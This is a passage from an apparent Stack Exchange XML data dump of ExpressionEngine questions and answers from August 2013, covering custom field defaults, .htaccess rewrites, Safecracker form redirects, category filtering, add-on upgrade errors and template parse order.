2.70 + DevDemon Updater 3.2.6 working properly? Are others seeing this issue?&lt;/p&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2013-08-29T00:22:47.020" LastActivityDate="2013-08-29T17:52:09.250" Title="EE 2.70 + DevDemon Updater 3.2.6 not working for add-ons" Tags="|ee2|devdemon|devdemon-updater|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13262" PostTypeId="1" AcceptedAnswerId="13295" CreationDate="2013-08-29T01:15:55.630" Score="1" ViewCount="81" Body="&lt;p&gt;I'm thinking of using Matrix to get around EE's limitation in only having one image field for categories. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to write a plugin that will automatically populate rows in matrix for each category? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe the plugin could be executed after saving a category if there's a new value update a specific matrix field... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hmm. &lt;/p&gt;&#xA;" OwnerUserId="1734" LastActivityDate="2013-09-28T14:50:21.420" Title="In matrix, set rows to correspond to values in a category" Tags="|matrix|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13263" PostTypeId="1" AcceptedAnswerId="13264" CreationDate="2013-08-29T01:41:37.987" Score="1" ViewCount="649" Body="&lt;p&gt;I have a channel for events, which includes the time, date and city that the event is in. In approximately 80% of cases, the event's city will be Sydney.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible for me to define Sydney as the default value so that it's pre-filled when a user creates a new entry? I'm sure there's a relatively easy way to do this using a fieldtype or extension, however I would prefer to have this functionality natively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I guess you could do this on templates, using code such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;events&quot; dynamic=&quot;no&quot;}&#xA;  {if city}&#xA;    {city}&#xA;  {if:else}&#xA;    Sydney&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but then I would have to remember to do this for every template that it occurs on, which is not ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, for any help&lt;/p&gt;&#xA;" OwnerUserId="1970" LastActivityDate="2013-08-29T12:49:09.877" Title="Can I natively define a default value for a custom field?" Tags="|ee2|custom-fields|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13264" PostTypeId="2" ParentId="13263" CreationDate="2013-08-29T02:38:38.707" Score="3" Body="&lt;p&gt;Not natively but you could throw a little JS into the field instructions as per &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1552/how-to-add-a-custom-javascript-to-the-new-entry-control-panel&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;  $(function(){&#xA;    if (document.location.href.indexOf(&quot;entry_id&quot;) == -1) { // if it's a new entry&#xA;      var field = $(&quot;#field_id_15&quot;);&#xA;      if (field.val() == &quot;&quot;) { field.val(&quot;Sydney&quot;); }&#xA;    }&#xA;  });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously just replace that with the appropriate ID of your field.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-08-29T02:38:38.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13265" PostTypeId="2" ParentId="13263" CreationDate="2013-08-29T03:13:40.813" Score="1" Body="&lt;p&gt;What kind of &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/custom_fields_edit.html#field-type&quot; rel=&quot;nofollow&quot;&gt;fieldtype&lt;/a&gt; are using for cities? If it is a select fieldtype, you just need to put Sydney at the top of all options.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-08-29T03:13:40.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13266" PostTypeId="1" AcceptedAnswerId="13268" CreationDate="2013-08-29T04:51:01.450" Score="1" ViewCount="225" Body="&lt;p&gt;I have EE Core installed in a subdirectory of my site, but it is set up as an add-on domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the official instructions to remove index.php and the urls work if I type them manually (without index.php), but all the links generated from the CP break:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View Site link displays like this:&#xA;&lt;a href=&quot;http://domain.me/?URL=http://domain.me/&quot; rel=&quot;nofollow&quot;&gt;http://domain.me/?URL=http://domain.me/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View Template displays:&#xA;&lt;a href=&quot;http://domain.me/?URL=http://domain.me/services&quot; rel=&quot;nofollow&quot;&gt;http://domain.me/?URL=http://domain.me/services&lt;/a&gt; and doesn't rewrite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if I type in domain.me/services, the rewrite works. I can see that it's stripping the &quot;services&quot; segment, but I don't know why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the only thing in my .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Removes index.php from ExpressionEngine URLs&#xA;&#xA;RewriteEngine On&#xA;&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="904" LastActivityDate="2013-08-29T06:01:18.993" Title="Removing index.php with add-on domain - CP urls break" Tags="|control-panel|url|htaccess|subdomain|rewrite|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13267" PostTypeId="2" ParentId="13241" CreationDate="2013-08-29T06:00:23.677" Score="4" Body="&lt;p&gt;Take a look at the columns in exp_matrix_data table in the database.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does it have a field var_id? If no, then the version you should set is 2.2.&lt;/li&gt;&#xA;&lt;li&gt;If yes, does it have a field is_draft? If no, then the version you should set is 2.3&lt;/li&gt;&#xA;&lt;li&gt;If yes, then the version you should set is 2.5.6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, set the version number we determined in the previous three steps for the Matrix field in the exp_fieldtypes table and go visit the Add-ons -&gt; Fieldtypes -&gt; Matrix page and hit submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything should be all working now.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-08-29T06:00:23.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13268" PostTypeId="2" ParentId="13266" CreationDate="2013-08-29T06:01:18.993" Score="0" Body="&lt;p&gt;Try adding these lines at the end of your .htaccess&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^(ACT=.*)$ [NC,OR]&#xA;RewriteCond %{QUERY_STRING} ^(URL=.*)$ [NC,OR]&#xA;RewriteCond %{QUERY_STRING} ^(CSS=.*)$ [NC]   &#xA;RewriteRule ^(.*)$ /index.php\?&amp;amp;%{QUERY_STRING} [L] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-08-29T06:01:18.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13269" PostTypeId="1" AcceptedAnswerId="13275" CreationDate="2013-08-29T06:05:35.190" Score="2" ViewCount="64" Body="&lt;p&gt;I have a module tag with a param that accepts a string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:test:foo return_url=&quot;{current_url}&quot;}&#xA;...&#xA;{/exp:test:foo}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the module method, I get the return_url param using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$return_url      = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('return_url');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that I get the literal string&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{current_url}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As opposed to it being parsed and &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#current-url&quot; rel=&quot;nofollow&quot;&gt;getting the current url&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to solve this? or is this a parse order issue?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-08-30T11:55:56.967" Title="A standard global variable in the params for a module is not being parsed" Tags="|module|global-variables|parameters|" AnswerCount="1" CommentCount="0" ClosedDate="2013-09-09T10:15:49.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="13270" PostTypeId="1" AcceptedAnswerId="17248" CreationDate="2013-08-29T06:36:55.373" Score="2" ViewCount="639" Body="&lt;p&gt;I've inherited a project where the developer used a trick that's worked for me before: use JavaScript to modify the value of Safecracker's hidden return element prior to submitting the form, gaining control over where you'll land after the form is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Except it's not working with this EE 2.6.1 install; despite this working with EE 2.5.5, and the fact that I can easily modify the return element's value, the form submits and leaves me at the page specified in the Safecracker return parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what we'd like to happen on this school site:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;teacher composes a new class blog post&lt;/li&gt;&#xA;&lt;li&gt;teacher chooses &quot;Submit&quot; or &quot;Submit and Email to Parents&quot;&lt;/li&gt;&#xA;&lt;li&gt;if choosing &quot;Email to Parents&quot;, resulting page should be &lt;code&gt;/mail_classblog_confirm/&lt;/code&gt;, which loads up the last teacher blog post, previews it as an email, and has the teacher confirm that it should be sent out&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What actually happens: either submission lands back at &lt;code&gt;/classes/{freebie_2}&lt;/code&gt;, which is specified in the &lt;code&gt;{exp:safecracker}&lt;/code&gt; return parameter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;New Post&amp;lt;/h3&amp;gt;&#xA;{exp:safecracker channel=&quot;class_blog&quot; return=&quot;/classes/{freebie_2}&quot; include_jquery=&quot;no&quot;}&#xA;    &amp;lt;label&amp;gt;Title:&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; style=&quot;width: 98%;&quot;&amp;gt;&#xA;&#xA;    &amp;lt;label&amp;gt;Update:&amp;lt;/label&amp;gt;&#xA;    {field:bl_content}&#xA;&#xA;    &amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;    &amp;lt;button type=&quot;button&quot; class=&quot;btn btn-primary btn-mail&quot;&amp;gt;Submit and Mail to Parents&amp;lt;/button&amp;gt;&#xA;&#xA;    &amp;lt;script&amp;gt;&#xA;        $('.btn-mail').click(function(){&#xA;            for ( instance in CKEDITOR.instances )&#xA;                CKEDITOR.instances[instance].updateElement();&#xA;&#xA;            if ($('input[name=&quot;return&quot;]').length &amp;gt; 0) {&#xA;                $('input[name=&quot;return&quot;]').val('/mail_classblog_confirm/');&#xA;            } else {&#xA;                $('form#publishForm div.hiddenFields').append(&quot;&amp;lt;input type='hidden' name='return' value='/mail_classblog_confirm/'&amp;gt;&quot;);&#xA;            }&#xA;&#xA;            $('#publishForm').submit();&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;    &amp;lt;a class=&quot;btn btn-cancel&quot; style=&quot;float: right;&quot; href=&quot;#&quot;&amp;gt;Cancel&amp;lt;/a&amp;gt;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ultimately I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If I'm absolutely positive that the JavaScript is manipulating the return input element correctly (I can watch it happen in Chrome's inspector) prior to submitting the form, how is it even possible that this could fail?&lt;/li&gt;&#xA;&lt;li&gt;Is there a better, more reliable way to control where the user ends up based on which submit button they've chosen?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="810" LastEditorUserId="810" LastEditDate="2013-08-29T19:41:14.647" LastActivityDate="2013-11-29T09:35:30.053" Title="Safecracker: how can I reliably alter the return value on form submit?" Tags="|safecracker|forms|javascript|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13271" PostTypeId="1" AcceptedAnswerId="13622" CreationDate="2013-08-29T06:41:59.930" Score="2" ViewCount="359" Body="&lt;p&gt;I have a landing page which is to show all of the current members of an academic group. This group is to exclude alumni. The memberships of the various groups are categories, so I need to exclude this one particular category. When I try the following code to exclude alumni (category 4), the rest of the category filtering no longer works (i.e. when you click on a group to see the members, all people are listed in every category, instead of being filtered properly). The filtering works once I remove category=&quot;not 4&quot; from the channel entries tag, but then the list shows all of the alumni, which is no good. The following is the code for the landing page, which is intended to show all memberships except alumni:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:append name=&quot;content&quot;}&#xA;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Please select a group to see its members: &#xA;   {exp:channel:categories category_group=&quot;1&quot; show=&quot;not 4&quot; channel=&quot;people&quot; show_empty=&quot;no&quot; style=&quot;linear&quot; backspace=&quot;8&quot;}&#xA;   &amp;lt;a href=&quot;{path='people/index'}&quot; &amp;gt;&amp;amp;nbsp;{category_name}&amp;lt;/a&amp;gt;&amp;amp;nbsp; |{/exp:channel:categories}&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;br&amp;gt;&#xA;{/exp:stash:append}&#xA;&#xA;{exp:channel:category_heading channel=&quot;people&quot; show_empty=&quot;no&quot;}&#xA;  {exp:stash:append name=&quot;content&quot;}&#xA;  &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;  {if category_description}&amp;lt;br /&amp;gt;&amp;lt;h4&amp;gt;{category_description}&amp;lt;/h4&amp;gt;{/if}&#xA;  {/exp:stash:append}      &#xA;{/exp:channel:category_heading}&#xA;&#xA;&#xA;  {exp:stash:append name=&quot;content&quot;}&#xA;  &amp;lt;div id=&quot;main&quot; role=&quot;main&quot;&amp;gt;&#xA;  &amp;lt;ul id=&quot;tiles&quot;&amp;gt;&#xA; {exp:channel:entries channel=&quot;people&quot; status=&quot;open&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; show-expired=&quot;no&quot; limit=&quot;200&quot; show_future_entries=&quot;no&quot; category=&quot;not 4&quot;} &#xA;&#xA;  &amp;lt;!-- grid blocks --&amp;gt;&#xA;   &amp;lt;li class=&quot;{if &quot;{segment_3}&quot; == &quot;phd_students&quot;}phd{/if}{if &quot;{segment_3}&quot; == &quot;researchers&quot;}researchers{/if}{if &quot;{segment_3}&quot; == &quot;support&quot;}support{/if}{if &quot;{segment_3}&quot; == &quot;masters&quot;}masters{/if}&quot;&amp;gt;&amp;lt;img src=&quot;{people_img}&quot; width=&quot;100&quot; class=&quot;biopic&quot;&amp;gt;&amp;lt;h3&amp;gt;{people_name}&amp;lt;/h3&amp;gt;&amp;lt;p&amp;gt;{people_bio}&amp;lt;/p&amp;gt;{if people_email}&amp;lt;p&amp;gt;&amp;lt;a href=&quot;mailto:{people_email}&quot;&amp;gt;contact&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;{/if}&amp;lt;/li&amp;gt;&#xA;  &amp;lt;!-- End grid blocks --&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;  &amp;lt;/ul&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  {/exp:stash:append}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="437" LastActivityDate="2013-09-10T06:50:11.303" Title="Excluding results from a particular category" Tags="|ee2|categories|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13272" PostTypeId="1" CreationDate="2013-08-29T07:32:01.357" Score="3" ViewCount="178" Body="&lt;p&gt;I have uploaded a site into a sub folder onto my server and when I try to login into the admin area, it allows me to login, however when I go to click on any link, it redirects/loops me, logging me out and taking me back to the admin login page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site was working fine locally and the previous SQL which is live (redesigning the site) also allows me to login fine without this redirect problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be anything to do with the fact it is in a folder on the server E.G. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;httpdocs/new/...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also thought it might be the .htaccess file throwing it off, maybe with the www. redirect and removing the index.php, but when the problem keeps arising with and without a .htaccess file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1971" LastActivityDate="2013-08-30T16:58:57.893" Title="ExpressionEngine 1.6.8 Admin login loop" Tags="|ee1|login|admin|loop|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13274" PostTypeId="1" CreationDate="2013-08-29T08:11:31.020" Score="2" ViewCount="158" Body="&lt;p&gt;I was in the process of trying to upgrade my Assets in the EE 2.5.2 install from version 1.1.5 to 2.1.4. I was able to do the update without issue in our development and staging environments, but when I attempted the EXACT same update in production I received this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1062&#xA;&#xA;Duplicate entry '1-review_badge.png' for key 'unq_folder_id__file_name'&#xA;&#xA;ALTER TABLE exp_assets_files ADD UNIQUE unq_folder_id__file_name (folder_id, file_name)&#xA;&#xA;Filename: third_party/assets/upd.assets.php&#xA;&#xA;Line Number: 479&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I tried to re-submit I was met with this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1146&#xA;&#xA;Table 'tmo_ee2.exp_assets' doesn't exist&#xA;&#xA;ALTER TABLE exp_assets MODIFY COLUMN file_path VARCHAR(255) NOT NULL&#xA;&#xA;Filename: third_party/assets/upd.assets.php&#xA;&#xA;Line Number: 403&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know the second error is a symptom of the updgrade script already deleting the old &lt;code&gt;exp_assets&lt;/code&gt; table. Anyone have any idea what's causing the first one? It seems similar to this error: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/4928/assets-2-update-causes-php-errors&quot;&gt;Assets 2 update causes PHP errors&lt;/a&gt; which is related to this one: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/4893/assets-not-showing-the-correct-upload-directory/4926#comment5008_4926&quot;&gt;Assets not showing the correct upload directory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I AM using the EE Bootstrap Master config, but I am NOT using the &lt;code&gt;$config['upload_preferences']&lt;/code&gt; options, plus the second support thread above claims this issue is resolved in the latest versions of Assets&lt;/p&gt;&#xA;" OwnerUserId="384" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-08-29T08:11:31.020" Title="Assets Upgrade &quot;duplicate&quot; error" Tags="|add-on|assets|upgrade|mysql|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13275" PostTypeId="2" ParentId="13269" CreationDate="2013-08-29T09:44:54.483" Score="4" Body="&lt;p&gt;The issue is parse order. Read the attached pdf.&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt;.&#xA;Turn on the debugger and then view the template in your browser. Scroll down thru the debugger until you find the tag containing {current_url}. You will see that that {current_url} has not been parsed. According to the attached doc, it is not parsed until step 9 - last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your module, try&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$uri_string = $this-&gt;EE-&gt;input-&gt;server('PATH_INFO') !== FALSE ? $this-&gt;EE-&gt;input-&gt;server('PATH_INFO') : '/'.$this-&gt;EE-&gt;uri-&gt;uri_string();&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$segments       = array_values($this-&gt;EE-&gt;uri-&gt;segment_array());&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$this-&gt;EE-&gt;functions-&gt;fetch_current_uri()&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="636" LastEditDate="2013-08-30T11:55:56.967" LastActivityDate="2013-08-30T11:55:56.967" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13276" PostTypeId="2" ParentId="13270" CreationDate="2013-08-29T10:01:00.583" Score="2" Body="&lt;p&gt;Matt, two options for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Easy: pass a segment variable to the safecracker form, then use 2 if statements (rather than an if else) to set the return values you need. That means youll need two different links pointing to the safecracker form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) More work: create an extension and use the safecracker hook - channel_form_submit_entry_end to redirect to the required page. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_form/development.html#channel-form-development-hooks&quot; rel=&quot;nofollow&quot;&gt;safecracker hooks&lt;/a&gt;. Maybe you could use a hidden input value, pick that up in the post then redirect to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Solution 1: like this. on the page that links TO the safecracker form create 2 links. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;href=&quot;template_group/template_name/submit&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;href=&quot;template_group/template_name/submit-email&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in your safecracker template...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:safecracker &lt;br&gt;&#xA;    secure_action = &quot;yes&quot;&lt;br&gt;&#xA;    secure_return = &quot;yes&quot;&lt;br&gt;&#xA;    channel = &quot;browse&quot;&lt;br&gt;&#xA;    include_jquery = &quot;no&quot; &lt;br&gt;&#xA;status = &quot;{embed:status}&quot;&lt;br&gt;&#xA;    {if segment_3 == &quot;submit&quot;}&lt;br&gt;&#xA;        return = &quot;some/path&quot;&lt;br&gt;&#xA;    {/if}&lt;br&gt;&#xA;    {if segment_3 != &quot;submit&quot;}&lt;br&gt;&#xA;        return = &quot;another/path&quot;&lt;br&gt;&#xA;    {/if}&lt;br&gt;&#xA;    }&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-08-29T20:17:30.453" LastActivityDate="2013-08-29T20:17:30.453" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13277" PostTypeId="2" ParentId="13260" CreationDate="2013-08-29T10:13:08.603" Score="1" Body="&lt;p&gt;For a start, this line is incorrect...Entry_id &amp;lt;&gt; author_id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;Code&gt;JOIN exp_channel_data ON exp_channel_data.entry_id = ct2.author_id&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take your query and paste it into the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/sql_query_form.html&quot; rel=&quot;nofollow&quot;&gt;inbuilt query form&lt;/a&gt;.&#xA;Remove or add query lines one by one and test your query output until you get what you want. &lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-08-29T12:25:14.440" LastActivityDate="2013-08-29T12:25:14.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13278" PostTypeId="1" AcceptedAnswerId="13454" CreationDate="2013-08-29T11:03:16.523" Score="1" ViewCount="88" Body="&lt;p&gt;In Assets 2, is it possible to change the sort order of files so that it automatically shows the most recently uploaded files first? I was hoping there would be a setting or config override for this, but I can't seem to find one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got lots of images in the Assets folders, and it'd be much more convenient to me (and save a lot of infinite scrolling - btw, pagination FTW!) if the most recently uploaded files appeared first. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-09-04T02:43:04.067" Title="Change sort order of files in Assets 2" Tags="|pixelandtonic|control-panel|assets|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13279" PostTypeId="2" ParentId="13271" CreationDate="2013-08-29T11:31:44.950" Score="0" Body="&lt;p&gt;Ive looked at docs and cant immediately see why its not working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change this code (and all similar):&#xA; &lt;code&gt;{if &quot;{segment_3}&quot; == &quot;phd_students&quot;}phd{/if}&lt;/code&gt; - you turned a simple conditional into an advanced conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To this&#xA;&lt;code&gt;{if segment_3 == &quot;phd_students&quot;}phd{/if}&lt;/code&gt; - back to simple conditional&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, change show-expired to show_expired&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read this too &lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;parse order&lt;/a&gt;. Keep it handy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, start by simplifying the page.&#xA;Put the categories tag only in a template and test until you get the required output using 'not'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then use stash set_list to cache the output for 1440 minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dont stash markup, just the variables you want to store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read the stash docs carefully, its a great tool when used wisely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/tools/data/sql_manage_tables.html&quot; rel=&quot;nofollow&quot;&gt;db tables&lt;/a&gt; find exp_stash, browse and check to see your stored values are all there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeat for remaining tags until you have created your stash caches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, use get_list to output your lists in your markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With stash, parse order becomes very important. Following the above steps will help you learn. Also read the debugger at bottom of template to check the parse order if you are having issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: an example of a stash set_list for categories saved into exp_stash. This can be reused anywhere in our site using get_list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;cat2_name|=|Aged Care|&amp;amp;|cat2_url|=|aged-care|&amp;amp;|cat2_count|=|1|+|cat2_name|=|Bed &amp;amp; Breakfast|&amp;amp;|cat2_url|=|bed-breakfast|&amp;amp;|cat2_count|=|1|+|cat2_name|=|Caravan &amp;amp; Campgrounds|&amp;amp;|cat2_url|=|caravan-campgrounds|&amp;amp;|cat2_count|=|1|+|cat2_name|=|Holiday Resorts|&amp;amp;|cat2_url|=|holiday-resorts|&amp;amp;|cat2_count|=|1&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-08-29T18:00:49.357" LastActivityDate="2013-08-29T18:00:49.357" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13280" PostTypeId="1" AcceptedAnswerId="13282" CreationDate="2013-08-29T11:39:52.373" Score="2" ViewCount="610" Body="&lt;p&gt;I am building a simple little module, based on this tutorial;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ee-recipes.com/articles/details/our-first-module-part-2-setting-up-the-file-structure&quot; rel=&quot;nofollow&quot;&gt;http://ee-recipes.com/articles/details/our-first-module-part-2-setting-up-the-file-structure&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have called my module 'DownloadLogs'&#xA;I have created the upd.downloadlogs.php, mcp.downloadlogs.php and mod.downloadlogs.php files, and also a lang.downloadlogs.php file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have put them all in /system/expressionengine/third_party/downloadlogs and uploaded to my server. But I can't see them in the list of installable add-ons. I have also cleared all of the caches and logged out and in again as superadmin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have I missed anything? What does EE require to pick up my code as an available module?&lt;/p&gt;&#xA;" OwnerUserId="1964" LastActivityDate="2013-08-29T11:55:58.693" Title="Why is my module not showing in the add-ons list?" Tags="|ee2|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
